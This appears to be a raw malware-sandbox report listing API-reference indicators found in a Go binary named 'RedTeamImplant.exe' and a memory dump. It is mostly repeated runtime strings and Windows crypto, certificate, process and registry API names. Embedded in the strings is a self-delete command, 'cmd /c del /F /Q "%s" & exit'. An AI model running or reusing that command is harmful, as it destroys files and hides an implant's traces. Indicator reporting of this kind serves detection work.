gmisaligned maskruntime: min = runtime" (Indicator: "CryptGenRandom"; File: "RedTeamImplant.exe") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionillegal instructionbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdfile already existsfile does not existfile already closedembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersJordan Standard TimeArabic Standard TimeIsrael Standard TimeTaipei Standard TimeAzores Standard TimeTurkey Standard Timeinvalid write result37252902984619140625GetAdaptersAddressesNtSetInformationFileRtlIsDosDeviceName_UGetProcessMemoryInfobcryptprimitives.dllfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs donep" (Indicator: "CryptReleaseContext"; File: "RedTeamImplant.exe") Found api reference "acer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bpruntime: double waitpreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valueselectgo: bad wakeupsemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in goinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrshttplaxcontentlengthx509usefallbackrootsreflect.Value.Complexexec: already startedMorocco Standard TimeNamibia Standard TimeAlaskan Standard TimeCentral Standard TimePacific Standard TimeEastern Standard TimeSE Asia Standard TimeArabian Standard TimeMagadan Standard TimeMyanmar Standard TimeYakutsk Standard TimeBelarus Standard TimeRussian Standard TimeRomance Standard TimeSaratov Standard TimeNorfolk Standard Time186264514923095703125931322574615478515625unsupported operationbad" (Indicator: "CertOpenSystemStoreW"; File: "RedTeamImplant.exe") Found api reference "acer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bpruntime: double waitpreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valueselectgo: bad wakeupsemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in goinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrshttplaxcontentlengthx509usefallbackrootsreflect.Value.Complexexec: already startedMorocco Standard TimeNamibia Standard TimeAlaskan Standard TimeCentral Standard TimePacific Standard TimeEastern Standard TimeSE Asia Standard TimeArabian Standard TimeMagadan Standard TimeMyanmar Standard TimeYakutsk Standard TimeBelarus Standard TimeRussian Standard TimeRomance Standard TimeSaratov Standard TimeNorfolk Standard Time186264514923095703125931322574615478515625unsupported operationbad" (Indicator: "CryptAcquireContextW"; File: "RedTeamImplant.exe") Found api reference "be a power of 2system huge page size (runtime: s.allocCount= s.allocCount > s.nelems/gc/heap/allocs:objectsruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain phase incorrectMB during sweep; swept bad profile stack countruntime: netpoll failedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCalldevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableW" missing CPU supportexit hook invoked panicpattern bits too long: SA Pacific Standard TimeSA Eastern Standard TimeUS Eastern Standard TimeSA Western Standard TimeMontevideo Standard TimeMagallanes Standard TimePacific SA Standard TimeAzerbaijan Standard TimeBangladesh Standard TimeNorth Asi" (Indicator: "CertGetCertificateChain"; File: "RedTeamImplant.exe"), Found api reference "a Standard TimeCape Verde Standard Time116415321826934814453125582076609134674072265625tracecheckstackownershiphash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of /cgo/go-to-c-calls:calls/gc/heap/objects:objects/sched/latencies:secondsqueuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unavailablebindm in unexpected GOOSruntime: mp.lockedInt = runqsteal: runq overflowgoroutine stack (system)unexpected syncgroup setdouble traceGCSweepStartbad use of trace.seqlockfloating point exceptionconnection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWinvalid pattern syntax: South Sudan Standard Time" (Indicator: "CertFreeCertificateChain"; File: "RedTeamImplant.exe"), Found api reference "terinburg Standard TimeE. Australia Standard TimeW. Australia Standard TimeBougainville Standard TimeLine Islands Standard TimeWest Pacific Standard Time1455191522836685180664062572759576141834259033203125unknown ABI parameter kindSetFileInformationByHandleRtlNtStatusToDosErrorNoTeball goroutines stack traceGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0/gc/cycles/total:gc-cyclesbad type kind in finalizernegative idle mark workersuse of invalid sweepLockerruntime: bad span s.state=forEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memoryinvalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextPostQueuedCompletionStatusinconsistent process statusEaster Island Standard Time36379788070" (Indicator: "CertFreeCertificateContext"; File: "RedTeamImplant.exe"), Found api reference "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for channel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStoreabi.NewName: tag too long: httpservecontentkeepheaderscmd /c del /F /Q "%s" & exitos: process already finishedGetFi" (Indicator: "CertEnumCertificatesInStore"; File: "RedTeamImplant.exe"), Found api reference "ttachedCertCreateCertificateContextabi.NewName: name too long: exec: Wait was already calledCentral America Standard TimeNorth Asia East Standard TimeN. Central Asia Standard TimeChatham Islands Standard TimeCentral Pacific Standard Time45474735088646411895751953125GetVolumeInformationByHandleWsync.WaitGroup.Wait (durable)executing on Go runtime stacknotesleep - waitm out of sync/cpu/classes/idle:cpu-seconds/cpu/classes/user:cpu-seconds/gc/heap/allocs-by-size:bytes/gc/stack/starting-size:bytesgc done but gcphase != _GCoffruntime: p.gcMarkWorkerMode= scanobject of a noscan objectruntime: marking free object addspecial on invalid pointerruntime: summary max pages = runtime: levelShift[level] = doRecordGoroutineProfile gp1=NtCreateWaitCompletionPacket" (Indicator: "CertCreateCertificateContext"; File: "RedTeamImplant.exe"), Found api reference "_cgo_pthread_key_created missingruntime: sudog with non-nil elemruntime: sudog with non-nil nextruntime: sudog with non-nil prevruntime: mcall function returnedruntime: newstack called from g=runtime: stack split at bad timepanic while printing panic valueruntime: setevent failed; errno=runtime.semasleep wait_abandonedresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyuse of closed network connectioninitial table capacity too large" not supported for cpu option "142108547152020037174224853515625710542735760100185871124267578125reflect: slice index out of range of method on nil interface valuereflect: Field index out of rangereflect: array index out of rangeskip everything and stop the walkGetVolumeNameForVolumeMountPointWslice bounds out of range [%x:%y]base outside usable address spaceruntime: memory allocated by OS [misrounded allocation in sysAllocruntime: failed to decommit pages/cpu/classes/gc/pau" (Indicator: "CertAddCertificateContextToStore"; File: "RedTeamImplant.exe"), Found api reference "_cgo_pthread_key_created missingruntime: sudog with non-nil elemruntime: sudog with non-nil nextruntime: sudog with non-nil prevruntime: mcall function returnedruntime: newstack called from g=runtime: stack split at bad timepanic while printing panic valueruntime: setevent failed; errno=runtime.semasleep wait_abandonedresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyuse of closed network connectioninitial table capacity too large" not supported for cpu option "142108547152020037174224853515625710542735760100185871124267578125reflect: slice index out of range of method on nil interface valuereflect: Field index out of rangereflect: array index out of rangeskip everything and stop the walkGetVolumeNameForVolumeMountPointWslice bounds out of range [%x:%y]base outside usable address spaceruntime: memory allocated by OS [misrounded allocation in sysAllocruntime: failed to decommit pages/cpu/classes/gc/pau" (Indicator: "CertVerifyCertificateChainPolicy"; File: "RedTeamImplant.exe"), Found api reference "no deferreturnbad restart PC-thread limitstopm spinning nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: seq1=runtime: goid=file too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeGetProcAddressProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unreachable: RegSetValueExWcrypto/fips140mime/multipartx509sha256skidGetProcessTimesDuplicateHandle M3.2.0 M11.1.0476837158203125invalid argSizeImpersonateSelfOpenThreadTokencomputeMaxProcsupdateMaxProcsGallocmRInternalGC (fractional)write heap dumpasyncpreemptoffcheckfinalizersforce gc (idle)sync.Mutex.Lockruntime.Goschedmalloc deadlockruntime error: scan missed a gmisaligned maskruntime: min = runtim" (Indicator: "CertCloseStore"; File: "RedTeamImplant.exe"), Found api reference "no deferreturnbad restart PC-thread limitstopm spinning nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: seq1=runtime: goid=file too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeGetProcAddressProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unreachable: RegSetValueExWcrypto/fips140mime/multipartx509sha256skidGetProcessTimesDuplicateHandle M3.2.0 M11.1.0476837158203125invalid argSizeImpersonateSelfOpenThreadTokencomputeMaxProcsupdateMaxProcsGallocmRInternalGC (fractional)write heap dumpasyncpreemptoffcheckfinalizersforce gc (idle)sync.Mutex.Lockruntime.Goschedmalloc deadlockruntime error: scan missed a gmisaligned maskruntime: min = runtim" (Indicator: "CryptGenRandom"; File: "RedTeamImplant.exe"), Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionillegal instructionbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdfile already existsfile does not existfile already closedembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersJordan Standard TimeArabic Standard TimeIsrael Standard TimeTaipei Standard TimeAzores Standard TimeTurkey Standard Timeinvalid write result37252902984619140625GetAdaptersAddressesNtSetInformationFileRtlIsDosDeviceName_UGetProcessMemoryInfobcryptprimitives.dllfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs done" (Indicator: "CryptReleaseContext"; File: "RedTeamImplant.exe"), Found api reference "be a power of 2system huge page size (runtime: s.allocCount= s.allocCount > s.nelems/gc/heap/allocs:objectsruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain phase incorrectMB during sweep; swept bad profile stack countruntime: netpoll failedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCalldevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableW", missing CPU supportexit hook invoked panicpattern bits too long: SA Pacific Standard TimeSA Eastern Standard TimeUS Eastern Standard TimeSA Western Standard TimeMontevideo Standard TimeMagallanes Standard TimePacific SA Standard TimeAzerbaijan Standard TimeBangladesh Standard TimeNorth As" (Indicator: "CertGetCertificateChain"; File: "RedTeamImplant.exe") Found api reference "a Standard TimeCape Verde Standard Time116415321826934814453125582076609134674072265625tracecheckstackownershiphash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of /cgo/go-to-c-calls:calls/gc/heap/objects:objects/sched/latencies:secondsqueuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unavailablebindm in unexpected GOOSruntime: mp.lockedInt = runqsteal: runq overflowgoroutine stack (system)unexpected syncgroup setdouble traceGCSweepStartbad use of trace.seqlockfloating point exceptionconnection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWinvalid pattern syntax: South Sudan Standard Tim" (Indicator: "CertFreeCertificateChain"; File: "RedTeamImplant.exe") Found api reference "terinburg Standard TimeE. Australia Standard TimeW. Australia Standard TimeBougainville Standard TimeLine Islands Standard TimeWest Pacific Standard Time1455191522836685180664062572759576141834259033203125unknown ABI parameter kindSetFileInformationByHandleRtlNtStatusToDosErrorNoTeball goroutines stack traceGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0/gc/cycles/total:gc-cyclesbad type kind in finalizernegative idle mark workersuse of invalid sweepLockerruntime: bad span s.state=forEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memoryinvalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextPostQueuedCompletionStatusinconsistent process statusEaster Island Standard Time3637978807" (Indicator: "CertFreeCertificateContext"; File: "RedTeamImplant.exe") Found api reference "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for channel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStoreabi.NewName: tag too long: httpservecontentkeepheaderscmd /c del /F /Q "%s" & exitos: process already finishedGetF" (Indicator: "CertEnumCertificatesInStore"; File: "RedTeamImplant.exe") Found api reference "_cgo_pthread_key_created missingruntime: sudog with non-nil elemruntime: sudog with non-nil nextruntime: sudog with non-nil prevruntime: mcall function returnedruntime: newstack called from g=runtime: stack split at bad timepanic while printing panic valueruntime: setevent failed; errno=runtime.semasleep wait_abandonedresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyuse of closed network connectioninitial table capacity too large" not supported for cpu option "142108547152020037174224853515625710542735760100185871124267578125reflect: slice index out of range of method on nil interface valuereflect: Field index out of rangereflect: array index out of rangeskip everything and stop the walkGetVolumeNameForVolumeMountPointWslice bounds out of range [%x:%y]base outside usable address spaceruntime: memory allocated by OS [misrounded allocation in sysAllocruntime: failed to decommit pages/cpu/classes/gc/pa" (Indicator: "CertAddCertificateContextToStore"; File: "RedTeamImplant.exe") Found api reference "_cgo_pthread_key_created missingruntime: sudog with non-nil elemruntime: sudog with non-nil nextruntime: sudog with non-nil prevruntime: mcall function returnedruntime: newstack called from g=runtime: stack split at bad timepanic while printing panic valueruntime: setevent failed; errno=runtime.semasleep wait_abandonedresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyuse of closed network connectioninitial table capacity too large" not supported for cpu option "142108547152020037174224853515625710542735760100185871124267578125reflect: slice index out of range of method on nil interface valuereflect: Field index out of rangereflect: array index out of rangeskip everything and stop the walkGetVolumeNameForVolumeMountPointWslice bounds out of range [%x:%y]base outside usable address spaceruntime: memory allocated by OS [misrounded allocation in sysAllocruntime: failed to decommit pages/cpu/classes/gc/pa" (Indicator: "CertVerifyCertificateChainPolicy"; File: "RedTeamImplant.exe") Found api reference "sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=level 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynameRegDeleteKeyWRegEnumValueWcrypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasize(window.close)asynctimerchanunexpected EOF1907348632812595367431640625unsafe.Pointer on zero Valueunknown methodOpenSCManagerWModule32FirstWuserArenaStateGC (dedicated)read mem statsupdatemaxprocsgcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayscavenge indexRtlGetVersion" (Indicator: "CertOpenStore"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") Found api reference "stopm spinning nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: seq1=runtime: goid=file too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeGetProcAddressProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unreachable: RegSetValueExWcrypto/fips140mime/multipartx509sha256skidGetProcessTimesDuplicateHandle,M3.2.0,M11.1.0476837158203125invalid argSizeImpersonateSelfOpenThreadTokencomputeMaxProcsupdateMaxProcsGallocmRInternalGC (fractional)write heap dumpasyncpreemptoffcheckfinalizersforce gc (idle)sync.Mutex.Lockruntime.Goschedmalloc deadlockruntime error: scan missed a gmisaligned maskruntime: min = runtime: inUse=runtime: max = requested skip=bad panic stackrecovery failedstopm holding pstartm: m has ppreempt SPWRITEmissing mcache?ms: gomaxprocs=randinit missed]" (Indicator: "CertCloseStore"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") Found api reference "stopm spinning nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: seq1=runtime: goid=file too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeGetProcAddressProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unreachable: RegSetValueExWcrypto/fips140mime/multipartx509sha256skidGetProcessTimesDuplicateHandle,M3.2.0,M11.1.0476837158203125invalid argSizeImpersonateSelfOpenThreadTokencomputeMaxProcsupdateMaxProcsGallocmRInternalGC (fractional)write heap dumpasyncpreemptoffcheckfinalizersforce gc (idle)sync.Mutex.Lockruntime.Goschedmalloc deadlockruntime error: scan missed a gmisaligned maskruntime: min = runtime: inUse=runtime: max = requested skip=bad panic stackrecovery failedstopm holding pstartm: m has ppreempt SPWRITEmissing mcache?ms: gomaxprocs=randinit missed]" (Indicator: "CryptGenRandom"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionillegal instructionbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdfile already existsfile does not existfile already closedembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersJordan Standard TimeArabic Standard TimeIsrael Standard TimeTaipei Standard TimeAzores Standard TimeTurkey Standard Timeinvalid write result37252902984619140625GetAdaptersAddressesNtSetInformationFileRtlIsDosDeviceName_UGetProcessMemoryInfobcryptprimitives.dllfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs done" (Indicator: "CryptReleaseContext"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") Found api reference "the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCalldevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableW" missing CPU support" (Indicator: "CertGetCertificateChain"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp"), Found api reference "bindm in unexpected GOOSruntime: mp.lockedInt = runqsteal: runq overflowgoroutine stack (system)unexpected syncgroup setdouble traceGCSweepStartbad use of trace.seqlockfloating point exceptionconnection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWinvalid pattern syntax: South Sudan Standard TimeUS Mountain Standard TimeMiddle East Standard TimeTransbaikal Standard TimeW. Mongolia Standard TimeAfghanistan Standard TimeNorth Korea Standard TimeUlaanbaatar Standard TimeVladivostok Standard TimeAUS Central Standard TimeAUS Eastern Standard TimeKaliningrad Standard TimeNew Zealand Standard Time2006-01-02T15:04:05Z07:002910383045673370361328125GetSidIdentifierAuthorityGetFinalPathNameByHandleWgoroutine profile cleanupGOMAXPROCS updater (idle)chansend: spurious wakeupruntime" (Indicator: "CertFreeCertificateChain"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp"), Found api reference "runtime: casgstatus: oldval=gcstopm: negative nmspinningfindrunnable: netpoll with psave on system g not allowednewproc1: newg missing stacknewproc1: new g is not GdeadFixedStack is not power-of-2missing stack in shrinkstack args stack map entries for invalid runtime symbol tableruntime: no module data for mismatched isSending updates[originating from goroutine traceRegion: alloc too largefile descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextabi.NewName: name too long: exec: Wait was already calledCentral America Standard TimeNorth Asia East Standard TimeN. Central Asia Standard TimeChatham Islands Standard TimeCentral Pacific Standard Time45474735088646411895751953125GetVolumeInformationByHandleWsync.WaitGroup.Wait (durable)executing on Go runtime stacknotesleep - waitm out of sync/cpu/classes/idle:cpu-seconds/cpu/classes/user:cpu-seconds/gc/heap/allocs-by-size:bytes/gc/stack/starting-size:bytesgc done but gcphase != _GCoffruntime: p.gcMarkWorkerMode= scanobject of a noscan objectruntime: marking free object addspecial on invalid pointerruntime: summary max pages = runtime: levelShift[level] = doRecordGoroutineProfile gp1=NtCreateWaitCompletionPacket" (Indicator: "CertCreateCertificateContext"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp")61:T44f,Found api reference "no deferreturnbad restart PC-thread limitstopm spinning nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: seq1=runtime: goid=file too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeGetProcAddressProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unreachable: RegSetValueExWcrypto/fips140mime/multipartx509sha256skidGetProcessTimesDuplicateHandle,M3.2.0,M11.1.0476837158203125invalid argSizeImpersonateSelfOpenThreadTokencomputeMaxProcsupdateMaxProcsGallocmRInternalGC (fractional)write heap dumpasyncpreemptoffcheckfinalizersforce gc (idle)sync.Mutex.Lockruntime.Goschedmalloc deadlockruntime error: scan missed a gmisaligned maskruntime: min = runtime" (Indicator: "CertCloseStore"; File: "RedTeamImplant.exe")62:T44f,Found api reference "no deferreturnbad restart PC-thread limitstopm spinning nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: seq1=runtime: goid=file too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeGetProcAddressProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unreachable: RegSetValueExWcrypto/fips140mime/multipartx509sha256skidGetProcessTimesDuplicateHandle,M3.2.0,M11.1.0476837158203125invalid argSizeImpersonateSelfOpenThreadTokencomputeMaxProcsupdateMaxProcsGallocmRInternalGC (fractional)write heap dumpasyncpreemptoffcheckfinalizersforce gc (idle)sync.Mutex.Lockruntime.Goschedmalloc deadlockruntime error: scan missed a gmisaligned maskruntime: min = runtime" (Indicator: "CryptGenRandom"; File: "RedTeamImplant.exe")63:T454,Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionillegal instructionbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdfile already existsfile does not existfile already closedembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersJordan Standard TimeArabic Standard TimeIsrael Standard TimeTaipei Standard TimeAzores Standard TimeTurkey Standard Timeinvalid write result37252902984619140625GetAdaptersAddressesNtSetInformationFileRtlIsDosDeviceName_UGetProcessMemoryInfobcryptprimitives.dllfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs donep" (Indicator: "CryptReleaseContext"; File: "RedTeamImplant.exe")64:T455,Found api reference "acer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bpruntime: double waitpreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valueselectgo: bad wakeupsemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in goinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrshttplaxcontentlengthx509usefallbackrootsreflect.Value.Complexexec: already startedMorocco Standard TimeNamibia Standard TimeAlaskan Standard TimeCentral Standard TimePacific Standard TimeEastern Standard TimeSE Asia Standard TimeArabian Standard TimeMagadan Standard TimeMyanmar Standard TimeYakutsk Standard TimeBelarus Standard TimeRussian Standard TimeRomance Standard TimeSaratov Standard TimeNorfolk Standard Time186264514923095703125931322574615478515625unsupported operationbad" (Indicator: "CertOpenSystemStoreW"; File: "RedTeamImplant.exe")65:T455,Found api reference "acer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bpruntime: double waitpreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valueselectgo: bad wakeupsemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in goinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrshttplaxcontentlengthx509usefallbackrootsreflect.Value.Complexexec: already startedMorocco Standard TimeNamibia Standard TimeAlaskan Standard TimeCentral Standard TimePacific Standard TimeEastern Standard TimeSE Asia Standard TimeArabian Standard TimeMagadan Standard TimeMyanmar Standard TimeYakutsk Standard TimeBelarus Standard TimeRussian Standard TimeRomance Standard TimeSaratov Standard TimeNorfolk Standard Time186264514923095703125931322574615478515625unsupported operationbad" (Indicator: "CryptAcquireContextW"; File: "RedTeamImplant.exe")66:T1d70,missing CPU supportexit hook invoked panicpattern bits too long: SA Pacific Standard 